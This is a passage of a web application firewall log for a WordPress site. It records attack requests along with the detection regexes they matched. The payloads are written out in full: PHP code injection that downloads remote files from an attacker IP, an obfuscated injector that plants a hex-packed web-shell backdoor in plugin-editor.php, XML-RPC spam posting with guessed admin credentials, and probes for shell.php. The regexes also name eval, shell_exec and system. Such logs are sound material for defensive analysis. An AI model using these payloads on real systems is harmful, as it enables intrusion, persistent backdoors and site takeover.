3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvraLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:178\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nzv=%3C%3Fphp%20%20file_put_contents%28%27function.anchor.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/MdmEdiPLvS%27%29%29%3B"]
["2026-05-12 20:04:25","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tU:%3C%3Fphp%20%20file_put_contents%28%27preview.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/AeTQGqUsPi%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:170\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\ntU=%3C%3Fphp%20%20file_put_contents%28%27preview.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/AeTQGqUsPi%27%29%29%3B"]
["2026-05-12 20:04:28","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27termspage.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/FQJJkEFvTG%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-length:195\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"macOS\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27termspage.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/FQJJkEFvTG%27%29%29%3B\"));"]
["2026-05-12 20:27:09","209.50.162.78","POST","\/xmlrpc.php","Python-xmlrpc\/3.11","post","select.+(from|limit) >> gt; : Select any six numbers from 1-49. ","POST \/xmlrpc.php HTTP\/1.1\naccept-encoding:gzip\ncontent-length:10901\nhost:dewenlabels.com\ncontent-type:text\/xml\nuser-agent:Python-xmlrpc\/3.11\n\n<?xml version='1.0'?>\n<methodCall>\n<methodName>wp.newPost<\/methodName>\n<params>\n<param>\n<value><int>1<\/int><\/value>\n<\/param>\n<param>\n<value><string>admin<\/string><\/value>\n<\/param>\n<param>\n<value><string>Admin@123<\/string><\/value>\n<\/param>\n<param>\n<value><struct>\n<member>\n<name>post_title<\/name>\n<value><string>Lotto 649<\/string><\/value>\n<\/member>\n<member>\n<name>post_content<\/name>\n<value><string>&lt;a href='https:\/\/lotto649.casino'"]
["2026-05-12 20:36:46","20.48.177.41","GET","\/shell.php",null,"url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nhost:dewenlabels.com\n\n"]
["2026-05-12 20:36:46","20.48.177.41","GET","\/css\/index.php",null,"url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/index.php","GET \/css\/index.php HTTP\/1.1\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nhost:dewenlabels.com\n\n"]
["2026-05-12 20:37:35","20.48.177.41","GET","\/css\/admin.php",null,"url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/admin.php","GET \/css\/admin.php HTTP\/1.1\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nhost:dewenlabels.com\n\n"]
["2026-05-12 20:41:31","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Er:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8813\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nEr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%2524ent13%2520.%2520%2524ent5%2520.%2520%2524ent12%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%2524ent11%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524event_handler%252C%2524marker_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_mrk%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524ptr_data%253D%2524api_gateway5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524ptr_data%2529%257B%2524flg_pointer%253D%2524api_gateway6%2528%2524ptr_data%2529%253B%2524api_gateway7%2528%2524ptr_data%2529%253Bprint%2520%2524flg_pointer%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:41:33","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25273%2527%253B%2524ent3%2520%253D%2520%25279%2527%253B%2524ent4%2520%253D%2520%25275%2527%253B%2524ent5%2520%253D%2520%25276%2527%253B%2524ent6%2520%253D%2520%2527d%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%25270%2527%253B%2524ent9%2520%253D%2520%2527e%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%25272%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%25278%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent6%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2527c%2527%2520.%2520%2524ent5%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent2%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ent1%2520.%2520%25272%2527%2520.%2520%2524ent1%2520.%2520%25275%2527%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent4%2520.%2520%2524ent5%2520.%2520%2524ent9%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent11%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent12%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent5%2520.%2520%25273%2527%2520.%2520%2524ent5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent9%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%2524ent5%2520.%2520%25275%2527%2520.%2520%2524ent5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent8%2520.%2520%25276%2527%2520.%2520%2524ent2%2520.%2520%25276%2527%2520.%2520%2527c%25